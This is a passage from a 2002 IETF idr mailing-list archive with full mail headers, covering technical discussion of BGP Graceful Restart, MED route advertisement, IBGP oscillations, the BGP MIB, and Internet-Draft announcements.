with the new extension. I read the text as saying that: if paths A and B have the same MED and path A is picked because it is external, then path B should be also advertised. I assume that i'm misunderstanding the text... The document mentions: "An obvious drawback to this modification is the fact that additional routes must be announced and more importantly stored by the routers. Given that a key problem is that router memories are being stressed by the number of routes they must keep, requiring routers to store even more routes is clearly problematic." I believe the text fails to give an idea of the manitude increase in memory usage that it being suggested. For instance Using the RFC 1777 aproach, the memory usage increase in every BGP speaker in the network would be N per route, where N is the number of external points where the route is received from, when MEDs are used. The degree of memory usage increase resulting from this proposal is probably going to be the factor that will deam it as feasible or infeasible. regards, Pedro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA07117 for ; Thu, 23 May 2002 14:09:37 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 669F491209; Thu, 23 May 2002 14:09:09 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 347C99133A; Thu, 23 May 2002 14:09:09 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id B56C491209 for ; Thu, 23 May 2002 14:09:06 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 536645DE7E; Thu, 23 May 2002 14:09:02 -0400 (EDT) Delivered-To: idr@merit.edu Received: from crufty.research.bell-labs.com (ns2.research.bell-labs.com [204.178.16.49]) by segue.merit.edu (Postfix) with ESMTP id EAAD25DE61 for ; Thu, 23 May 2002 14:09:01 -0400 (EDT) Received: from grubby.research.bell-labs.com (H-135-104-2-9.research.bell-labs.com [135.104.2.9]) by crufty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4NI96EF025665 for ; Thu, 23 May 2002 14:09:06 -0400 (EDT) Received: from mcs.research.bell-labs.com (mcs.research.bell-labs.com [135.104.32.15]) by grubby.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4NI90o22293 for ; Thu, 23 May 2002 14:09:00 -0400 (EDT) Received: from disney.research.bell-labs.com (disney.research.bell-labs.com [135.104.32.16]) by mcs.research.bell-labs.com (8.9.3/8.8.8) with ESMTP id OAA1369942 for ; Thu, 23 May 2002 14:08:59 -0400 (EDT) Received: from disney (localhost [127.0.0.1]) by disney.research.bell-labs.com (8.7.6/8.7.3) with SMTP id OAA19947 for ; Thu, 23 May 2002 14:08:59 -0400 (EDT) Message-ID: <3CED303A.31D2@research.bell-labs.com> Date: Thu, 23 May 2002 14:08:58 -0400 From: Gordon Wilfong X-Mailer: Mozilla 3.01Gold (X11; I; IRIX 6.3 IP32) MIME-Version: 1.0 To: idr@merit.edu Subject: ibgp Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk An Internet-Draft, "Eliminating IBGP Oscillations", has recently been posted. In this draft we propose an extension to the Border Gateway Protocol (BGP), that eliminates route update oscillations (as discussed in draft-ietf-idr-route-oscillation-01.txt "BGP Persistent Route Oscillation Condition by McPherson et al) and also eliminates routing loops in Internal BGP (IBGP) even in the presence of route reflection. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-wilfong-ibgp-oscillations-00.txt Any comments would be greatly appreciated. - Gordon Wilfong Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA11145 for ; Mon, 20 May 2002 07:03:08 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 8D1B491216; Mon, 20 May 2002 07:02:41 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 54EEE9120A; Mon, 20 May 2002 07:02:41 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E9B3691216 for ; Mon, 20 May 2002 07:01:51 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 2E6495DDE9; Mon, 20 May 2002 07:01:48 -0400 (EDT) Delivered-To: idr@merit.edu Received: from rs-eu-exc1.rs.riverstonenet.com (unknown [193.128.15.220]) by segue.merit.edu (Postfix) with ESMTP id B56CE5DD92 for ; Mon, 20 May 2002 07:01:47 -0400 (EDT) content-class: urn:content-classes:message Subject: RE: draft-ietf-idr-restart-04.txt MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Date: Mon, 20 May 2002 12:01:47 +0100 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: draft-ietf-idr-restart-04.txt Thread-Index: AcH9/vNTZh/DtziXTVyVcHEpJRV5OwB7mdNA From: "Stephen Waters" To: "John G. Scudder" Cc: Sender: owner-idr@merit.edu Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by nic.merit.edu id HAA11145 My reading between the lines was a bit different from this. If a system fails, and it supports both IGP and BGP graceful restart, then there is a chance (a small one I think :)) that it can come back into the world, and no one else will flap. If the BGP connection fails for 'another reason', it is very likely that there is real network situation, and so it is probably best just doing a normal reconnection without attempting a graceful restart first. In these cases, it is very likely any attempt to gracefully restart will fail anyway. As I say, this is my reading of the tea-leaves. Steve. > -----Original Message----- > From: John G. Scudder [mailto:jgs@cisco.com] > Sent: Friday, May 17, 2002 5:57 PM > To: Yakov Rekhter > Cc: Lan Wang; idr@merit.edu > Subject: Re: draft-ietf-idr-restart-04.txt > > > At 7:28 PM -0700 5/15/02, Yakov Rekhter wrote: > > > 1. Does the Graceful Restart mechanism apply to the case when > >> a session between two BGP peers breaks (but neither > >> of the two BGP processes restart)? > > > >When the session breaks due to receiving a NOTIFICATION message, > >then it doesn't not. If the session breaks due to the expiration > >of the HOLDTIME it is not expected to be applied either. But even > >in the cases where the session breaks due to NOTIFICATION message, > >or the expiration of the HOLDTIME, it is still useful to generate > >the End-of-RIB Marker, and to indicate to a peer the ability to > >generate the End-of-RIB Marker. So, even in these cases one > >could say that some, but not all parts of the Graceful Restart > >mechanism are applicable. > > One further point is that if the session breaks for some other reason > than those Yakov has stated above, Graceful Restart applies. > > --John > Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id UAA28678 for ; Fri, 17 May 2002 20:00:13 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id AF0B1912E2; Fri, 17 May 2002 19:57:34 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 65B6C912E3; Fri, 17 May 2002 19:57:34 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 7642E912E2 for ; Fri, 17 May 2002 19:57:30 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 8C8345DDE2; Fri, 17 May 2002 19:57:27 -0400 (EDT) Delivered-To: idr@merit.edu Received: from cisco.com (router.cisco.com [171.69.182.20]) by segue.merit.edu (Postfix) with ESMTP id B92205DDDC for ; Fri, 17 May 2002 19:57:26 -0400 (EDT) Received: from [192.168.0.151] (ssh-sjc-1.cisco.com [171.68.225.134]) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id TAA27952; Fri, 17 May 2002 19:56:55 -0400 (EDT) Mime-Version: 1.0 X-Sender: jgs@localhost Message-Id: In-Reply-To: <200205160228.g4G2SKR34033@merlot.juniper.net> References: <200205160228.g4G2SKR34033@merlot.juniper.net> Date: Fri, 17 May 2002 12:56:32 -0400 To: Yakov Rekhter From: "John G. Scudder" Subject: Re: draft-ietf-idr-restart-04.txt Cc: Lan Wang , idr@merit.edu Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-idr@merit.edu Precedence: bulk At 7:28 PM -0700 5/15/02, Yakov Rekhter wrote: > > 1. Does the Graceful Restart mechanism apply to the case when >> a session between two BGP peers breaks (but neither >> of the two BGP processes restart)? > >When the session breaks due to receiving a NOTIFICATION message, >then it doesn't not. If the session breaks due to the expiration >of the HOLDTIME it is not expected to be applied either. But even >in the cases where the session breaks due to NOTIFICATION message, >or the expiration of the HOLDTIME, it is still useful to generate >the End-of-RIB Marker, and to indicate to a peer the ability to >generate the End-of-RIB Marker. So, even in these cases one >could say that some, but not all parts of the Graceful Restart >mechanism are applicable. One further point is that if the session breaks for some other reason than those Yakov has stated above, Graceful Restart applies. --John Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA20042 for ; Fri, 17 May 2002 13:51:11 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id D6595912CB; Fri, 17 May 2002 13:50:01 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 8B681912CD; Fri, 17 May 2002 13:50:01 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id F0D26912CB for ; Fri, 17 May 2002 13:49:57 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 23A375DDDA; Fri, 17 May 2002 13:49:55 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id BF5FC5DDD5 for ; Fri, 17 May 2002 13:49:54 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g4HHnv909111 for idr@merit.edu; Fri, 17 May 2002 13:49:57 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g4HHns909104 for ; Fri, 17 May 2002 13:49:54 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g4HHns622466 for idr@merit.edu; Fri, 17 May 2002 13:49:54 -0400 (EDT) Date: Fri, 17 May 2002 13:49:53 -0400 From: Jeffrey Haas To: idr@merit.edu Subject: Reflecting the true state of routes in the BGP MIB Message-ID: <20020517134953.F23188@nexthop.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Venu has re-asked a question that popped up during the initial design of the second version of the BGP MIB. The MIB attempts to reflect the protocol as documented very carefully. One of the abstractions that is reflected is the Rib abstraction, namely the Adj-Ribs-In, Loc-Rib and Adj-Ribs-Out. Currently, the MIB reflects each of these items for a prefix as the route learned from the peer and carries that all the way through a particular Adj-Rib-Out. However, as we all know, there are various places throughout an implemention, some sanctioned directly by the BGP specification, where attributes are modified. So the essential question is, should the actual state of a route at any point in the process be reflected directly in the MIB given the large amount of implementation specific information that must be dealt with? At the moment, our abstraction says that the route in the Adj-Rib-Out is a pointer to the route that has gone through the whole process. It doesn't reflect the changes at any point through that process. The infrastructure of the MIB certainly makes it possible to reflect the state of a route through the process with some amount of information compression, but this will still explode the amount of information available in the MIB. My gut feeling on this is that this is a good thing for a MIB extension, but doesn't belong in the base protocol MIB document. Opinions please? -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id FAA04501 for ; Fri, 17 May 2002 05:18:53 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 659779120D; Fri, 17 May 2002 05:18:23 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 233E591225; Fri, 17 May 2002 05:18:23 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D85839120D for ; Fri, 17 May 2002 05:18:21 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 227065DDA7; Fri, 17 May 2002 05:18:19 -0400 (EDT) Delivered-To: idr@merit.edu Received: from 21cn.com (unknown [61.140.60.248]) by segue.merit.edu (Postfix) with SMTP id 8E2085DD92 for ; Fri, 17 May 2002 05:18:13 -0400 (EDT) Received: from 21cn.com([10.2.1.5]) by 21cn.com(AIMC 2.9.5.2) with SMTP id jm23ce4cc49; Fri, 17 May 2002 17:17:39 +0800 Received: from loki.ietf.org([132.151.1.177]) by 21cn.com(AIMC 2.9.5.2) with SMTP id jm43ce024ba; Mon, 13 May 2002 23:15:19 +0800 Received: (from adm@localhost) by loki.ietf.org (8.9.1b+Sun/8.9.1) id JAA02473 for ietf-123-outbound.01@ietf.org; Mon, 13 May 2002 09:25:00 -0400 (EDT) Received: from ietf.org (odin.ietf.org [10.27.2.28]) by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA01451 for ; Mon, 13 May 2002 07:34:39 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03698; Mon, 13 May 2002 07:34:14 -0400 (EDT) Message-Id: <200205131134.HAA03698@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-bgp-ext-communities-05.txt Date: Mon, 13 May 2002 07:34:14 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : BGP Extended Communities Attribute Author(s) : S. Sangli, D. Tappan, Y. Rekhter Filename : draft-ietf-idr-bgp-ext-communities-05.txt Pages : 11 Date : 10-May-02 This document describes an extension to BGP [BGP-4] which may be used to provide flexible control over the distribution of routing information. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-bgp-ext-communities-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020510124209.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-bgp-ext-communities-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020510124209.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id MAA06218 for ; Thu, 16 May 2002 12:25:13 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 6F772912B7; Thu, 16 May 2002 12:24:39 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 41132912B8; Thu, 16 May 2002 12:24:39 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 35287912B7 for ; Thu, 16 May 2002 12:24:38 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 8FAFB5DDAC; Thu, 16 May 2002 12:24:35 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 05FA55DDA3 for ; Thu, 16 May 2002 12:24:35 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g4GGObb58720; Thu, 16 May 2002 12:24:37 -0400 (EDT) (envelope-from skh@nexthop.com) Received: from SKH.nexthop.com ([64.211.218.122]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g4GGOYF58711; Thu, 16 May 2002 12:24:34 -0400 (EDT) (envelope-from skh@nexthop.com) Message-Id: <5.0.0.25.0.20020516120458.01dc1548@mail.nexthop.com> X-Sender: skh@mail.nexthop.com X-Mailer: QUALCOMM Windows Eudora Version 5.0 Date: Thu, 16 May 2002 12:24:33 -0400 To: Mathew Richardson From: Susan Hares Subject: Re: Status of working group documents Cc: idr@merit.edu In-Reply-To: <20020516112728.B11200@nexthop.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Matt: Thanks for the query. I'll post the status of the documents by Monday and send the pointer to the web site. Sue Hares At 11:27 AM 5/16/2002 -0400, Mathew Richardson wrote: >Would someone let me know the status of the current working group >documents, or, ideally, point me to the official sourcce for >finding such information? > >In particular, I believe there are several last calls going on, >but I didn't find any information about them on either the IDR >home page, or the IETF website in general. > >mrr Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA04672 for ; Thu, 16 May 2002 11:28:04 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id AE16F912B4; Thu, 16 May 2002 11:27:33 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 7DAC8912B5; Thu, 16 May 2002 11:27:33 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 84087912B4 for ; Thu, 16 May 2002 11:27:32 -0400 (EDT) Received: by segue.merit.edu (Postfix) id DF4D05DE0B; Thu, 16 May 2002 11:27:29 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 5D5645DD9F for ; Thu, 16 May 2002 11:27:29 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g4GFRVX55652 for idr@merit.edu; Thu, 16 May 2002 11:27:31 -0400 (EDT) (envelope-from mrr@mrichardson.nexthop.com) Received: from paradigm.nexthop.com (mrichardson.nexthop.com [64.211.218.45]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g4GFRSF55643 for ; Thu, 16 May 2002 11:27:28 -0400 (EDT) (envelope-from mrr@mrichardson.nexthop.com) Received: (from mrr@localhost) by paradigm.nexthop.com (8.11.6/8.11.6) id g4GFRSs25939 for idr@merit.edu; Thu, 16 May 2002 11:27:28 -0400 (EDT) Date: Thu, 16 May 2002 11:27:28 -0400 From: Mathew Richardson To: idr@merit.edu Subject: Status of working group documents Message-ID: <20020516112728.B11200@nexthop.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Would someone let me know the status of the current working group documents, or, ideally, point me to the official sourcce for finding such information? In particular, I believe there are several last calls going on, but I didn't find any information about them on either the IDR home page, or the IETF website in general. mrr Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id WAA13253 for ; Wed, 15 May 2002 22:29:37 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id EEC84912A5; Wed, 15 May 2002 22:28:53 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id B627B912A6; Wed, 15 May 2002 22:28:52 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 8DEBF912A5 for ; Wed, 15 May 2002 22:28:51 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 141AF5DD8F; Wed, 15 May 2002 22:28:49 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id B40325DD8E for ; Wed, 15 May 2002 22:28:48 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4G2SKR34033; Wed, 15 May 2002 19:28:20 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205160228.g4G2SKR34033@merlot.juniper.net> To: Lan Wang Cc: idr@merit.edu Subject: Re: draft-ietf-idr-restart-04.txt In-Reply-To: Your message of "Wed, 15 May 2002 08:38:50 PDT." MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <53706.1021516100.1@juniper.net> Date: Wed, 15 May 2002 19:28:20 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Lan, > I'd like to get some clarification on the following questions > regarding Graceful Restart. > > 1. Does the Graceful Restart mechanism apply to the case when > a session between two BGP peers breaks (but neither > of the two BGP processes restart)? When the session breaks due to receiving a NOTIFICATION message, then it doesn't not. If the session breaks due to the expiration of the HOLDTIME it is not expected to be applied either. But even in the cases where the session breaks due to NOTIFICATION message, or the expiration of the HOLDTIME, it is still useful to generate the End-of-RIB Marker, and to indicate to a peer the ability to generate the End-of-RIB Marker. So, even in these cases one could say that some, but not all parts of the Graceful Restart mechanism are applicable. > 2. There is a restart timer and also a timer specified by the > implementation on the maximum lifetime of a stale entry (see > the last paragraph in section 6.2). Are they serving the same > purpose? >From the draft: Restart Time: This is the estimated time (in seconds) it will take for the BGP session to be re-established after a restart. This can be used to speed up routing convergence by its peer in case that the BGP speaker does not come back after a restart. .... To put an upper bound on the amount of time a router retains the stale routes, an implementation may support a (configurable) timer that imposes this upper bound. The above two paragraphs contain an answer to your question. > > 3. When do you start the restart timer? It doesn't seem to be > specified in the draft. >From the draft: If the session does not get re-established within the "Restart Time" that the peer advertised previously, the Receiving Speaker shall delete all the stale routes from the peer that it is retaining. This sentence contains an answer to your question. > 4. When the receiving speaker sends update messages to the > restarting speaker, does it send routes that have been marked > stale? yes. Yakov. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA22834 for ; Wed, 15 May 2002 11:38:33 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id AB8BD91292; Wed, 15 May 2002 11:38:07 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 7F17391293; Wed, 15 May 2002 11:38:07 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5EF6391292 for ; Wed, 15 May 2002 11:38:06 -0400 (EDT) Received: by segue.merit.edu (Postfix) id EEF1F5E071; Wed, 15 May 2002 11:38:03 -0400 (EDT) Delivered-To: idr@merit.edu Received: from panther.cs.ucla.edu (unknown [131.179.128.25]) by segue.merit.edu (Postfix) with ESMTP id 5D7625DDBB for ; Wed, 15 May 2002 11:38:03 -0400 (EDT) Received: from Forest.CS.UCLA.EDU (forest.cs.ucla.edu [131.179.96.162]) by panther.cs.ucla.edu (8.10.2+Sun/8.10.2/UCLACS-5.1) with ESMTP id g4FFc1D14844 for ; Wed, 15 May 2002 08:38:01 -0700 (PDT) Date: Wed, 15 May 2002 08:38:50 -0700 (PDT) From: Lan Wang To: idr@merit.edu Subject: Re: draft-ietf-idr-restart-04.txt Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-idr@merit.edu Precedence: bulk Hi, I'd like to get some clarification on the following questions regarding Graceful Restart. 1. Does the Graceful Restart mechanism apply to the case when a session between two BGP peers breaks but neither of the two BGP processes restart? 2. There is a restart timer and also a timer specified by the implementation on the maximum lifetime of a stale entry (see the last paragraph in section 6.2). Are they serving the same purpose? 3. When do you start the restart timer? It doesn't seem to be specified in the draft. 4. When the receiving speaker sends update messages to the restarting speaker, does it send routes that have been marked stale? It's not clear from Section 6.2. If some of the questions have already been discussed before, could you please refer me to the corresponding threads? Thanks. Lan ~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Lan Wang Internet Research Lab lanw@cs.ucla.edu UCLA Computer Science Department Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA07865 for ; Tue, 14 May 2002 14:48:20 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id AEE859120C; Tue, 14 May 2002 14:47:55 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 434BD9127B; Tue, 14 May 2002 14:47:43 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 8B8209120C for ; Tue, 14 May 2002 14:47:04 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 4EC615DDA2; Tue, 14 May 2002 14:47:02 -0400 (EDT) Delivered-To: idr@merit.edu Received: from web12804.mail.yahoo.com (web12804.mail.yahoo.com [216.136.174.39]) by segue.merit.edu (Postfix) with SMTP id 9CE2F5DD8F for ; Tue, 14 May 2002 14:47:01 -0400 (EDT) Message-ID: <20020514184703.15789.qmail@web12804.mail.yahoo.com> Received: from [208.246.215.128] by web12804.mail.yahoo.com via HTTP; Tue, 14 May 2002 11:47:03 PDT Date: Tue, 14 May 2002 11:47:03 -0700 (PDT) From: vrishab sikand Subject: Re: Questions on draft-ietf-idr-restart-04.txt To: Kent Wong , idr@merit.edu In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-1008043794-1021402023=:15784" Sender: owner-idr@merit.edu Precedence: bulk --0-1008043794-1021402023=:15784 Content-Type: text/plain; charset=us-ascii One can imagine a architecture, where you can store some minimal state information about these types of things away from the main server. Since some part of your router (atleast the forwarder) continues to function during the crash, one can then retrieve this information from this secret place. This MAY enable you to make smarter decsions about this types of situations. This is aoffcourse away from the protocol and gets into implementation. Kent Wong wrote: Hi, I have a question on the Graceful Restart draft. On Section 6.1: "Once the session between the Restarting Speaker and the Receiving Speaker is re-established, the Restarting Speaker will receive and process BGP messages from its peers. However, it shall defer route selection for an address family until it receives the End-of-RIB marker from all its peers (excluding the ones with the "Restart State" bit set in the received capability and excluding the ones which do not advertise the graceful restart capability)." My question is that how does the Restarting Speaker knows how many peers it should be waiting for the End-of-RIB marker? The config file is not sufficient. For example, a Restarting Speaker A has in its config file Peer B and Peer C. When A restarts, from the config it assumes Peer B and C exist. But Peer B may never exist and therefore will never try to establish with A. Then A will be waiting for the End-of-RIB marker from B even though C has sent all its updates to A? Is the Route Selection Defer timer the only way to exit the graceful restart procedure for A in this case? Thanks. ---Kent _________________________________________________________________ Join the world’s largest e-mail service with MSN Hotmail. http://www.hotmail.com --------------------------------- Do You Yahoo!? LAUNCH - Your Yahoo! Music Experience --0-1008043794-1021402023=:15784 Content-Type: text/html; charset=us-ascii

One can imagine a architecture, where you can store some minimal state information about these types of things away from the main server. Since some part of your router (atleast the forwarder) continues to function during the crash, one can then retrieve this information from this secret place. This MAY enable you to make smarter decsions about this types of situations. This is aoffcourse away from the protocol and gets into implementation.

  Kent Wong <wongkent@hotmail.com> wrote:

Hi,

I have a question on the Graceful Restart draft.
On Section 6.1:

"Once the session between the Restarting Speaker and the Receiving
Speaker is re-established, the Restarting Speaker will receive and
process BGP messages from its peers. However, it shall defer route
selection for an address family until it receives the End-of-RIB
marker from all its peers (excluding the ones with the "Restart
State" bit set in the received capability and excluding the ones
which do not advertise the graceful restart capability)."

My question is that how does the Restarting Speaker knows how
many peers it should be waiting for the End-of-RIB marker? The
config file is not sufficient.

For example, a Restarting Speaker A has in its config file
Peer B and Peer C. When A restarts, from the config it assumes
Peer B and C exist. But Peer B may never exist and therefore
will never try to establish with A. Then A will be waiting for
the End-of-RIB marker from B even though C has sent all its updates
to A? Is the Route Selection Defer timer the only way to exit
the graceful restart procedure for A in this case? Thanks.

---Kent



_________________________________________________________________
Join the world’s largest e-mail service with MSN Hotmail.
http://www.hotmail.com


Do You Yahoo!?
